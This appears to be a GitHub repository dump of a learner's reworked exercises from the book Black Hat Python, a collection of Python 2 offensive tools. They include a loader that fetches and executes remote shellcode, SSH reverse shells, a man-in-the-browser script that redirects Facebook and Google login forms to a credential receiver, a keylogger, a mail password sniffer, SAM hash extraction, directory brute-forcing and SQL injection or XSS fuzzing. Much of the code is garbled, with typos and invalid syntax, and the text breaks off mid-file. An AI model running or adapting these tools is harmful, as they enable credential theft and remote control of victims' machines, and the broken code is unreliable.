├── _config.yml ├── mailSniffer.py ├── simpleget.py ├── simpleget2.py ├── mail-sniffer2.py ├── shell_exec.py ├── README.md ├── decryptor.py ├── credServer.py ├── keygen.py ├── udpclient.py ├── tcpServer.py ├── tcpclient.py ├── screengrabber.py ├── process_monitor.py ├── sniffer.py ├── sshCommand.py ├── LICENSE ├── web_app_map.py ├── sshclient.py ├── sshclient2.py ├── reverseSSH.py ├── grabhashes.py ├── keylogger.py ├── mitb.py ├── content_bruter.py ├── sniffer_with_icmp.py ├── sniffer_ipheader_decoder.py ├── BurpFuzzer.py ├── rforward.py ├── fileMon.py ├── sshServer.py ├── pic_carver.py ├── arper.py ├── sandboxDetect.py ├── burpWordlist.py ├── codeInject.py ├── gitTrojan.py ├── burpBing.py ├── joomla_killer.py ├── ie_exfil.py ├── tcpproxy.py └── NetCat.py /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-slate -------------------------------------------------------------------------------- /mailSniffer.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | def banner(): 4 | print "[***] Mail Sniffer p50 [***]" 5 | 6 | def packet_callback(packet): 7 | print packet.show() 8 | 9 | sniff(prn=packet_callback,count=1) -------------------------------------------------------------------------------- /simpleget.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import urllib2, sys 3 | 4 | #TODO: ADD FUNCTIONS 5 | 6 | #Simple Get reqeust to a site specified in arguments 7 | host = sys.argv[1] 8 | body = urllib2.urlopen(host) 9 | print body.read() 10 | -------------------------------------------------------------------------------- /simpleget2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import urllib2, sys 3 | #The other example on p 62 using the request class 4 | #TODO: ADD FUNCTIONS 5 | host = sys.argv[1] 6 | 7 | headers ={} 8 | headers ['User-Agent'] = "Googlebot" 9 | 10 | request = urllib2.Request(host, headers=headers) 11 | response = urllib2.urlopen(request) 12 | 13 | print response.read() 14 | response.close() -------------------------------------------------------------------------------- /mail-sniffer2.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | def banner(): 4 | print "[***] Mail Sniffer p50 [***]" 5 | 6 | def packet_callback(packet): 7 | if packet[TCP].payload: 8 | mail_packet = str(packet[TCP].payload) 9 | if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): 10 | print "[*] Server: %s" % packet[IP].dst 11 | print "[*] %s" % packet[TCP].payload 12 | 13 | sniff(filter = "tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0) 14 | -------------------------------------------------------------------------------- /shell_exec.py: -------------------------------------------------------------------------------- 1 | import urllib2, ctypes, base64 2 | 3 | def banner(): 4 | print "[***] Shellcode execution p116 [***]" 5 | 6 | url = "http://localhost:8000/shellcode.bin" 7 | response = urllib2.urlopen(url) 8 | shellcode = base64.b64decode(response.read()) 9 | shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) 10 | shellcode_func = ctypes.cast(sellcocd_buffer, ctypes.CFUCNMTYPE(ctypes.c_void_p)) 11 | shellcode_func() 12 | 13 | 14 | def main(): 15 | 16 | if __name__ == '__main__': 17 | main() 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BlackHatPython 2 | I created this repository to store my updated code from BlackHatPython. Once I'm done testing my code the 'bhp' prefix will be removed. Comments will include brief details. 3 | 4 | [Black Hat Python](https://www.nostarch.com/blackhatpython "Black Hat Python from nostarch Press") 5 | 6 | ##Prerequisite tools (I'll clean this up) 7 | To save some time, make sure you have these tools available: 8 | A GitHub account 9 | Paramiko 10 | An IDE (or vim if you're feeling froggy) 11 | Scapy 12 | Burp Suite 13 | PyWin32 14 | Volatility 15 | -------------------------------------------------------------------------------- /decryptor.py: -------------------------------------------------------------------------------- 1 | import zlib, base64 2 | from Crypto.PublicKey import RSA 3 | from Crypto.Cipher import PKCS1_OAEP 4 | 5 | private_key ="paste private key here" 6 | 7 | def banner(): 8 | print "[***] Decryptor p134 [***]" 9 | 10 | rsakey = RSA.importKey(private_key) 11 | rsakey = PKCS1_OAEP.new(rsakey) 12 | chunk_size = 256 13 | offset = 0 14 | decrypted = "" 15 | encrypted = base64.b64decode(encrypted) 16 | 17 | while offset < len(encrypted): 18 | decrpyted += rsakey.decrypt(encrypted([offset:offset+chunk_size]) 19 | offset += chunk_size 20 | plaintext = zlib.decompress(decrypted) 21 | print plaintext -------------------------------------------------------------------------------- /credServer.py: -------------------------------------------------------------------------------- 1 | import SimpleHTTPServer, SocketServer, urllib 2 | 3 | def banner(): 4 | print "[***] Credential Server p127 [***}" 5 | 6 | class CredRequestHandler(): 7 | def do_POST(self): 8 | content_length = int(self, headers['Content-Length']) 9 | creds = self.rifle.read(content_length).decode('utf-8') 10 | print creds 11 | site = self.path[1:] 12 | self.send_response(301) 13 | self.send_header('Location', urllib.unquote(site)) 14 | self.end_headers() 15 | 16 | server= SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler) 17 | server.serve_forever() 18 | 19 | if __name__ == '__main__': 20 | main() 21 | -------------------------------------------------------------------------------- /keygen.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | #The functions are fluff. The original program is commented out" 3 | ''' 4 | new_key = RSA.generate(2048, e=65537) 5 | public_key = new_key.publickey().exportKey("PEM") 6 | private_key = new_key.exportKey("PEM") 7 | ''' 8 | def banner(): 9 | print "[***] Key Generator p133 [***]" 10 | print "" 11 | 12 | def main(): 13 | new_key = RSA.generate(2048, e=65537) 14 | print "[*] Generating Public Key..." 15 | public_key = new_key.publickey().exportKey("PEM") 16 | print "[*] Generating Private Key..." 17 | private_key = new_key.exportKey("PEM") 18 | 19 | if __name__ == '__main__': 20 | main() -------------------------------------------------------------------------------- /udpclient.py: -------------------------------------------------------------------------------- 1 | #!/ usr/bin/python 2 | import socket, sys 3 | 4 | usage = "updcli.py target_host target_port" 5 | target_host = sys.argv[1] 6 | target_port = sys.argv[2] 7 | 8 | def banner(): 9 | print "[***] UDP Client p11 [***]" #Blackhat Python UDP Client, pg 11 10 | print "Functions were added" 11 | 12 | def udpclient(target_host, target_port): 13 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 14 | client.sendto("AAABBBCCC", (target_host, target_port)) 15 | data, addr = client.recvfrom(4096) 16 | print data 17 | 18 | def main(): 19 | if sys.argv == 3: 20 | banner() 21 | udpclient(target_host, target_port) 22 | else: 23 | print usage 24 | 25 | if __name__ = "__main__": 26 | main() 27 | -------------------------------------------------------------------------------- /tcpServer.py: -------------------------------------------------------------------------------- 1 | #!/ usr/bin/python 2 | import socket, threading, sys 3 | 4 | def banner(): #TODO: Add functions. 5 | print "[***] TCP Server p12 [***]" 6 | 7 | bind_ip = sys.argv[1] 8 | bind_port = sys.argv[2] 9 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | server.bind((bind_ip, bind_port)) 11 | server.listen(5) 12 | 13 | print "[*] Listening on %s:%d" % (bind_ip, bind_port) 14 | 15 | # client handling thread 16 | 17 | def handle_client(client_socket): 18 | request = client_socket.recv(1024) 19 | print "[*] Received: %s" % request 20 | client_socket.send("ACK!") 21 | client_socket.close() 22 | while True: 23 | client, addr = server.accept() 24 | print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1]) 25 | client_handler = threading.Thread(target=handle_client, args=(client,)) 26 | client_handler.start() 27 | 28 | #TODO: ADD CODE BELOW INSIDE THE MAIN FUNCTION. THIS WILL MAKE THE DEFAULT bind_ip -------------------------------------------------------------------------------- /tcpclient.py: -------------------------------------------------------------------------------- 1 | #!/ usr/bin/python 2 | import socket, sys 3 | 4 | usage = "bhptcpcli.py " 5 | target_host = sys.argv[1] 6 | target_port = sys.argv[2] 7 | 8 | def banner(): 9 | print "[***] TCP Client p10 [***]" 10 | print "Functions were added to improve the tool" 11 | 12 | def tcptool(target_host, target_port): 13 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Create a socket for the target host, port 14 | client.connect((target_host, target_port)) #Connect the client 15 | client.send("GET / HTTP/1.1\r\nHost: "+target_host+"\r\n\r\n") #Sends Data 16 | response = client.recv(4096) #Receives Data from socket connection 17 | print response # 18 | 19 | def main(): 20 | if len(sys.argv) == 3: 21 | banner() 22 | tcptool(target_host, target_port) 23 | else: 24 | print usage 25 | 26 | if __name__ == "__main__": 27 | main() -------------------------------------------------------------------------------- /screengrabber.py: -------------------------------------------------------------------------------- 1 | import win32gui, win32ui, win32con, win32api 2 | 3 | def banner(): #This script didnt use functions, so it could be used as one later 4 | print "[***] screen grabber p115 [***]" 5 | 6 | hdesktop = win32gui.GetDesktopWindow() 7 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 8 | height = win32api.GetSystemMetrics(win32con.SM_CVIRTUALSCREEN) 9 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 10 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 11 | desktop_dc = win32gui.GetWindowDC(hdesktop) 12 | img_dc = win32ui.CreateDCFromhandle(desktop_dc) 13 | mem_dc = img_dc.CreateCompatibleDC() 14 | screenshot = win32us.CreateBitmap() 15 | screenshot.CreateCompatibleBitmap(img_dc, width, height) 16 | mem_dc.SelectObject(screenshot) 17 | mem_dc_BitBlt((0,0), (width, height), img_dc, (left,top), win32con.SRCCOPY) 18 | screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp') 19 | mem_dc.DeleteDC() 20 | win32gui.DeleteObject(screenshot.GetHandle()) 21 | -------------------------------------------------------------------------------- /process_monitor.py: -------------------------------------------------------------------------------- 1 | import win32con, win32api, win32security, wmi, sys, os 2 | 3 | def banner(): 4 | print "[***] Process MOnitor p140 [***]" 5 | 6 | def log_to_file(message): 7 | fd = open("process_monitor_log.csv", "ab") 8 | fd.write("%s\r\n" % message) 9 | fd.close() 10 | return 11 | log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges") 12 | c = wmi.WMI() 13 | process_watcher = c.Win32_Process.watch_for("creation") 14 | while True: 15 | try: 16 | new_process = process_watcher() 17 | proc_owner = new_process.GetOwner() 18 | proc_owner = "%s\\%s" % (proc_owner[0],proc_owner[2]) 19 | create_date = new_process.CreationDate 20 | executable = new_process.ExecutablePath 21 | cmdline = new_process.CommaandLine 22 | pid = new_process.ProcessId 23 | parent_pid = new_process.ParentProcessId 24 | privileges = "N/A" 25 | process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n" % (create_date, proc_owner, executable,cmdline,pid,parent_pid,privileges) 26 | print process_log_message 27 | except: 28 | pass 29 | -------------------------------------------------------------------------------- /sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os, socket, sys #Added sys module to allow arguments. 3 | 4 | def banner(): 5 | print "[***] BlackHat Python p 37; sniffer [***]" 6 | 7 | host = "Target IP" #Host to listen on. Consider adding an argument to enter an IP 8 | 9 | def smells(host): 10 | if os.name == "nt": 11 | socket_protocol = socket.IPPROTO_IP 12 | else 13 | socket_protocol = socket.IPPROTO_ICMP 14 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 15 | sniffer.bind = ((host, 0)) 16 | sniffer.setsockopt(socket.IPPROTO_IP, socket_IP_HDRINCL, 1) #Include IP headers in the cpature. 17 | if os.name == "nt": #IF you're using WinX you need to send an IOCTL for promiscuous mode 18 | sniffer.IOCTL(socket.SIO_RCVALL, socket.RCVALL_ON) 19 | #read in a single packet 20 | print sniffer.recvfrom(65565) #if you're using WinX, turn off promiscuous mode 21 | if os.name == "nt": 22 | sniffer.IOCTL(socket.SIO_RCVALL, socket.RCVALL_OFF) 23 | 24 | def main(): 25 | banner() 26 | smells(host) 27 | 28 | if __name__= "__main__": 29 | main() -------------------------------------------------------------------------------- /sshCommand.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import threading, paramiko, subprocess 3 | 4 | usage = "./bh_sshcmd.py " 5 | host = sys.argv[1] 6 | user = sys.argv[2] 7 | passwd = sys.argv[3] 8 | command = sys.argv[4] 9 | 10 | def banner(): 11 | print "######## SSH Client p26 #########" #Black Hat Python; SSH w/ Paramiko (p 26) 12 | print "Single command client" 13 | 14 | def ssh_command(ip, user, passwd, command): 15 | client = paramiko.SSHClient() 16 | #client.load_host_keys('/home/justin/.ssh/known_hosts') 17 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 18 | client.connect(ip, username= user, password= passwd) 19 | ssh_session = client.get_transport().open_session() 20 | if ssh_session.active: 21 | ssh_session.exec_command(command) 22 | print ssh_session.recv(1024) #reads the first 1024 bytes from the target host 23 | return 24 | 25 | def main(): 26 | banner() 27 | if sys.argv == 5: 28 | ssh_command(ip, user, passwd, command) 29 | else: 30 | print usage 31 | 32 | if __name__ == "__main__": 33 | main() -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 n1cfury 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /web_app_map.py: -------------------------------------------------------------------------------- 1 | def banner(): 2 | print "[***] pg 63. web app mapper [***]" 3 | 4 | 5 | import Queue, threading, os, urllib2 6 | 7 | threads = 10 8 | 9 | target = "http://www.blackhatpython.com" 10 | directory = "/Users/justin/Downloads/joomla-3.1.1" 11 | filters = [".jpg", ".gif", "png", ".css"] 12 | 13 | os.chdir(directory) 14 | 15 | web_paths = Queue.Queue() 16 | 17 | for r, d, f in os.walk("."): 18 | for files in f: 19 | remote_path = "%s/%s" % (r, files) 20 | if remote_path.startswith("."): 21 | remote_path = remote_path[1:] 22 | if os.path.splitext(files)[1] not in filters: 23 | web_paths.put(remote_path) 24 | 25 | def test_remote(): 26 | while not web_paths.empty(): 27 | path = web_paths.get() 28 | url = "%s%s" % (target, path) 29 | 30 | request = urllib2.Request(url) 31 | try: 32 | response = urllib2.urlopen(request) 33 | content = response.read() 34 | print "[%d] => %s" % (response.code, path) 35 | response.close() 36 | 37 | except urllib2.HTTPError as error: 38 | #print "Failed %s" % error.code 39 | pass 40 | 41 | for i in range(threads): 42 | print "Spawning thread: %d" % i 43 | i - threading.Thread(target=test_remote) 44 | t.start() -------------------------------------------------------------------------------- /sshclient.py: -------------------------------------------------------------------------------- 1 | #!/ usr/bin/python 2 | 3 | #TODO: ADD FUNCTIONS AND ARGUMENTS, AND DONT FORGET TO DEBUG. 4 | 5 | import threading, paramiko, subprocess 6 | 7 | def banner(): 8 | print "####### SSH with Paramiko pg 26 ########" 9 | print "" 10 | def ssh_cmd(ip, user, passwd, command): 11 | client = paramiko.SSHClient() 12 | #client.load_host_keys('/home/justin/.ssh/known_hosts') 13 | client.set_missing_host_key_policy(paramoko.AutoAddPolicy()) 14 | client.connect(ip, username= user, password= passwd) 15 | ssh_session = client.get_transport().open_session() 16 | if ssh_session.active: 17 | ssh_session.exec_command(command) 18 | print ssh_session.recv(1024) #read banner 19 | while True: 20 | command = ssh_session.recv(1024) #get the command from the SSH server 21 | try: 22 | cmd_output = subprocess.check_output(command, shell=True) 23 | ssh_session.send(cmd_output) 24 | excelpt: Exceptoin,e: 25 | ssh_session.send(str(e)) 26 | client.close() 27 | return 28 | ssh_cmd('192.168.100.131', 'justin', 'lovesthepython','id') 29 | 30 | def main(): 31 | #Add if/then for arguments 32 | banner(): 33 | ssh_cmd() 34 | 35 | if __name__ = "__main__": 36 | main() 37 | 38 | #End of Program -------------------------------------------------------------------------------- /sshclient2.py: -------------------------------------------------------------------------------- 1 | #!/ usr/bin/python 2 | import threading, paramiko, subprocess #TODO: ADD FUNCTIONS AND ARGUMENTS, AND DONT FORGET TO DEBUG. 3 | 4 | def banner(): 5 | print "####### SSH with Paramiko pg 27 ########" 6 | print "This client supports multiple commands" 7 | 8 | def ssh_cmd(ip, user, passwd, command): 9 | client = paramiko.SSHClient() 10 | #client.load_host_keys('/home/justin/.ssh/known_hosts') 11 | client.set_missing_host_key_policy(paramoko.AutoAddPolicy()) 12 | client.connect(ip, username= user, password= passwd) 13 | ssh_session = client.get_transport().open_session() 14 | if ssh_session.active: 15 | ssh_session.exec_command(command) 16 | print ssh_session.recv(1024) #read banner 17 | while True: 18 | command = ssh_session.recv(1024) #get the command from the SSH server 19 | try: 20 | cmd_output = subprocess.check_output(command, shell=True) 21 | ssh_session.send(cmd_output) 22 | excelpt: Exceptoin,e: 23 | ssh_session.send(str(e)) 24 | client.close() 25 | return 26 | ssh_cmd('192.168.100.131', 'justin', 'lovesthepython','id') 27 | 28 | def main(): 29 | #Add if/then for arguments 30 | banner(): 31 | ssh_cmd() 32 | 33 | if __name__ = "__main__": 34 | main() -------------------------------------------------------------------------------- /reverseSSH.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import threading, paramiko, subprocess 3 | 4 | usage = "test this first" 5 | 6 | def banner(): #Provide description of program 7 | print "[***] SSH with Paramiko p27 [***]" 8 | print "" 9 | print "Enter Syntax or information for how program works" 10 | 11 | def ssh_command(ip, user, passwd, command): 12 | client = paramiko.SSHClient() #client.load_host_keys('/home/justin/.ssh/known_hosts') 13 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 14 | client.connect(ip, username= user, password= passwd) 15 | ssh_session = client.get_transport().open_session() 16 | if ssh_session.active: 17 | ssh_session.exec_command(command) 18 | print ssh_session.recv(1024) #read banner 19 | while True: 20 | command = ssh_session.recv(1024) #get the command from the SSH server 21 | try: 22 | cmd_output = subprocess.check_output(command, shell=True) 23 | ssh_session.send(cmd_output) 24 | except Exception,e: 25 | ssh_session.send(str(e)) 26 | client.close() 27 | return 28 | ssh_command('192.168.1.59', 'justin', 'lovesthepython','ClientConnected') 29 | 30 | def main(): 31 | banner() 32 | if not len(sys.argv[1:]): 33 | print usage 34 | 35 | if __name__ == '__main__': 36 | main() -------------------------------------------------------------------------------- /grabhashes.py: -------------------------------------------------------------------------------- 1 | import sys, struct, volatility.conf as conf, volatility.registry as registry 2 | import volatility.commands as commands 3 | import volatility.addrspace as addrspace 4 | 5 | def banner(): 6 | print "[***] Grabbing hashes p154 [***]" 7 | 8 | memory_file = "WindowsXPSP2.wmem" 9 | sys.path.append("/Users/justin/Downloads/volatility-2.3.1") #Update the path and version of volatility 10 | registry.PluginImporter() 11 | config = conf.ConfObject() 12 | config.parse_options() 13 | config.PROFILE = "WinXPSP2x86" 14 | config.LOCATION = "file://%s" % memory_file 15 | registry.register_global_options(config, commands.Command) 16 | registry.register_global_options(config, addrspace.BaseAddressSpace) 17 | registry.RegistryApi(config) 18 | registry.populate_offsets() 19 | sam_offset = None 20 | sys_offset = None 21 | for offset in registry.all_offsets: 22 | if registry.all_offsets[offset].endswith("\\SAM"): 23 | sam_offset = offset 24 | print "[*] SAM: 0x%08x" % offset 25 | if registry.all_offsets[offset].endswith("\\system"): 26 | sys_offset = offset 27 | print "[*] SAM: 0x%08x" % offset 28 | if sam_offset is not None and sys_offset is not None: 29 | config.sys_offset = sys_offset 30 | config.sam_offset = sam_offset 31 | hashdump = Hashdump(config) 32 | for hash in hashdump.calculate(): 33 | print hash 34 | break 35 | if sam_offset is None or sys_offset is None: 36 | print "[*] Failed to find the system or SAM offsets." -------------------------------------------------------------------------------- /keylogger.py: -------------------------------------------------------------------------------- 1 | import pythoncom, pyHoot, win32clipboard 2 | from ctypes import * 3 | 4 | def banner(): 5 | print "[***] keylogger p112 [***]" 6 | 7 | def get_current_process(): 8 | hwnd = user32.GetForegroundWindow() 9 | pid = c_ulong(0) 10 | user32.GetWindowsThreadProcessID(hwnd, byref(pid)) 11 | process_id = "%d" % pid.value 12 | executable = createstring_bufer("\x00" * 512) 13 | h_process = kernet32.OpenProcess(0x400 | 0x10, False, pid) 14 | psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512) 15 | window_title= create_string_buffer("\x00" * 512) 16 | length = user32.GetWindowTextA(hwnd, byref(window_ttitl), 512) 17 | print "" 18 | print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) 19 | print "" 20 | kernel32.CloseHandle(hwnd) 21 | kernel32.CloseHandle(h_process) 22 | 23 | def KeyStroke(event): 24 | global current_window 25 | if event.WindoName != current_window: 26 | current_window_ event.WindowName 27 | get_current_process() 28 | if event.Ascii > 32 and even.Ascii < 127: 29 | print chr(even.Ascii), 30 | else: 31 | if event.Key == "V": 32 | win32clipboard.OpenClipboard() 33 | pasted_value = win32clipboard.GetClipboardData() 34 | win32clip[board.CloseClipbpard() 35 | print "[PASTE] - %s" % (pasted_value) 36 | else: 37 | print "[%s]" % event_key, 38 | return True 39 | kl = pyHook.HootManager() 40 | kl.KeyDown = KeyStroke 41 | kl.HookKeyboard() 42 | pythoncom.PumpMessages() 43 | -------------------------------------------------------------------------------- /mitb.py: -------------------------------------------------------------------------------- 1 | import w32com.client, time, urlparse, urllib 2 | data_receiver = "http://localhost:8080" 3 | target_sites = {} 4 | target_sites ["www.facebook.com"] = 5 | {"logout_url": None, 6 | "logout_form": "logout_form", 7 | "login_form_index" : 0, 8 | "owned": False} 9 | target_sites["www.gmail.com"] = target_sites["accounts.google.com"] 10 | target_sites["mail.google.com"] = target_sites["accounts.google.com"] 11 | clsid ='{9BA05972-F6A8-11CF-A4AF-00A0C90A8F39}' 12 | 13 | def banner(): 14 | print "[***] Man in the browser p124 [***]" 15 | 16 | def wait_for_browser(browser): 17 | while browser.ReadyState != 4 adn browser.ReadyState != "complete": 18 | time.sleep(0.1) 19 | return 20 | 21 | def main(): #There wasn't orignally a 'main' function for this tool. 22 | while True: 23 | for browser in windows: 24 | url = urlparse.urlparse(browser.locationUrl) 25 | if url.hostname in target_sites: 26 | if target_sites[url.hostname]["owned"]: 27 | continue 28 | if target_sites[url.hostname]["logout_url"]: 29 | browser.Navigate(target_sites[url.hostname]["logout_url"]) 30 | wait_for_browser(browser) 31 | else: 32 | full_doc=browser.Document.all 33 | for i in full_doc: 34 | try: 35 | if i.id == target_sites[url.hostname]["logout_form"]: 36 | i.submit() 37 | wait_for_browser(browser) 38 | except: 39 | pass 40 | try: #This might have indentation issues 41 | login_index = target_sites[url.hostname]["login_form_index"] 42 | login_page = urllib.quote(browser.locationUrl) 43 | browser.Document.forms[login_index].action = "%s%s" % (data_receiver, login_page) 44 | target_sites[url.hostname]["owned"] = True 45 | except: 46 | pass 47 | time.sleep(5) 48 | 49 | if __name__ == '__main__': 50 | main() -------------------------------------------------------------------------------- /content_bruter.py: -------------------------------------------------------------------------------- 1 | import urllib2, threading, Queue, urllib 2 | 3 | threads = 50 4 | target_url = "http://testphp.vulnweb.com" 5 | wordlist_file = "/tmp/all.txt" #from SVNDigger 6 | resume = None 7 | user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/ 20100101 Firefox/19.0" 8 | 9 | def banner(): 10 | print "[***] Directory Brute Force p67 [***]" 11 | 12 | def build_wordlist(wordlist_file): 13 | fd - open(wordlist_file, "rb") 14 | raw_words = df.readlines() 15 | fd.close() 16 | found_resume = False 17 | words = Queue.Queue() 18 | for word in raw_words: 19 | word = word.rstrip() 20 | if resume is not None: 21 | if found_resume: 22 | words.put(word) 23 | else: 24 | if word == reusme: 25 | found_resume = True 26 | print "Resuming wordlist from: %s" % resume 27 | else: 28 | words.put(word) 29 | return words 30 | 31 | def dir_bruter(word_queue, extensions=None): 32 | while not word_queue.empty(): 33 | attempt = word+queue.get() 34 | attempt_list=[] 35 | if "." not in attempt: 36 | attempt_list.append("/%s/" %attempt) 37 | else: 38 | attempt_list.append("/%s" %attempt) 39 | if extensions: 40 | for extension in extensions: 41 | attempt_list.append("/%s%s" % (attempt, extension)) 42 | for brute in attempt_list: 43 | url = "%s%s" % (target_url, urllib.quote(brute)) 44 | try: 45 | headers = {} 46 | headers["User-Agent"] = user_agent 47 | r = urllib2.Request(url, headers=headers) 48 | response = urllib2.urlopen(r) 49 | if len(response.read()): 50 | print "[%d] => %s" % (resposne.code, url) 51 | except urllib2.URLError, e: 52 | if hasattr(e, 'code') and e.code != 404: 53 | print "!!! %d => %s" % (response.code, url) 54 | pass 55 | 56 | def main(): 57 | banner() 58 | dir_bruter(word_queue, extensions=None) 59 | 60 | if __name__ == '__main__': 61 | main() -------------------------------------------------------------------------------- /sniffer_with_icmp.py: -------------------------------------------------------------------------------- 1 | import socket, os, struct 2 | from ctypes import * 3 | 4 | host = "192.168.56.101" #consider adding a sys.argv 5 | 6 | def banner(): 7 | print "Decoding ICMP p43 " 8 | print "Uses code from the sniffer_ipheader_decoder.py tool" 9 | 10 | class IP(structure): #our IP header 11 | _fields_ = 12 | [ 13 | ("ihl", c_ubyte, 4), 14 | ("version", c_ubyte, 4), 15 | ("tos", c_ubyte), 16 | ("len", c_ushort), 17 | ("id", c_ushort), 18 | ("offset", c_ushort), 19 | ("ttl", c_ubyte), 20 | ("protocol_num", c_ubyte), 21 | ("sum", c_ushort), 22 | ("src", c_ulong), 23 | ("dst", c_ulong) 24 | ] 25 | def __new__(self, socket_buffer=None): 26 | return self.from_buffer_copy(socket_buffer) 27 | 28 | def __init__(self, socket_buffer=None): 29 | #map protocol constants to their names 30 | self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"} 31 | #human readable IP addresses 32 | self.src_address = socket.inet_ntoa(struct.pack(" %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) 52 | if os.name == "nt": 53 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) -------------------------------------------------------------------------------- /sniffer_ipheader_decoder.py: -------------------------------------------------------------------------------- 1 | import socket, os, struct 2 | from ctypes import * 3 | 4 | host = "192.168.56.101" #consider adding a sys.argv 5 | 6 | def banner(): 7 | print "#Black Hat Python, Sniffer, IP Header Decoder p40" 8 | print "host to listen on (where you're doing the sniffing from)" 9 | 10 | class IP(structure): #our IP header 11 | _fields_ = 12 | [ 13 | ("ihl", c_ubyte, 4), 14 | ("version", c_ubyte, 4), 15 | ("tos", c_ubyte), 16 | ("len", c_ushort), 17 | ("id", c_ushort), 18 | ("offset", c_ushort), 19 | ("ttl", c_ubyte), 20 | ("protocol_num", c_ubyte), 21 | ("sum", c_ushort), 22 | ("src", c_ulong), 23 | ("dst", c_ulong) 24 | ] 25 | def __new__(self, socket_buffer=None): 26 | return self.from_buffer_copy(socket_buffer) 27 | 28 | def __init__(self, socket_buffer=None): 29 | #map protocol constants to their names 30 | self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"} 31 | #human readable IP addresses 32 | self.src_address = socket.inet_ntoa(struct.pack(" %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) 52 | if os.name == "nt": 53 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) -------------------------------------------------------------------------------- /BurpFuzzer.py: -------------------------------------------------------------------------------- 1 | import random 2 | from burp import IBurpExtender, IntruderPayloadGeneratorFactory, IIntruderPayloadGenerator 3 | from java.util import List, ArrayList 4 | 5 | def banner(): 6 | print "[***] Burp Fuzzer p79 [***]" 7 | 8 | class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): 9 | def registerExtenterCallbacks(self, callbacks): 10 | self._callbacks = callbacks 11 | self._helpers = callbacks.getHelpers() 12 | callbacks.registerIntruderPayloadGeneratorFactory(self) 13 | return 14 | 15 | def getGeneratorName(self): 16 | return "[***] Payload Generator [***]" 17 | 18 | def createNewInstance(self, attack): 19 | return BHPFuzzer(self, attack) 20 | 21 | class BHPFuzzer(IIntruderPayloadGenerator): 22 | def __init__(self, extender, attack): 23 | self._extender = extender 24 | self._helpers = extender._helpers 25 | sefl._attack = attack 26 | self.max_payloads = 10 27 | self.num_iterations = 0 28 | return 29 | 30 | def hasMorePayloads(self): 31 | if self.num_iterations == self.max_payloads: 32 | return False 33 | else: 34 | return True 35 | 36 | def getNextPayload(self, current_payload): 37 | payload = "".join(chr(x) for x in current_payload) 38 | self.num_iterations +=1 39 | return payload 40 | 41 | def reset(self): 42 | self.num_iterations = 0 43 | return 44 | 45 | def mutate_payload(self, original_payload): 46 | picker = random.randint(1,3) 47 | offset = random.randint(0,len(original_payload)-1) 48 | payload = original_payload[:offset] 49 | if picker == 1: 50 | payload += "'" #Insert SQL injection attempt 51 | if picker == 2: 52 | payload += "" #insert XSS attempt 53 | if picker == 3: 54 | chunk_length = random.randint(leng(payload[offset:]),len(payload)-1) 55 | repeater = random.randint(1,10) 56 | for i in range(repeater): 57 | payload += original_payload[offset:offset+chunk_length] 58 | payload += original_payload[offset:] 59 | return payload 60 | 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /rforward.py: -------------------------------------------------------------------------------- 1 | import paramiko, sys, threading 2 | 3 | def banner(): 4 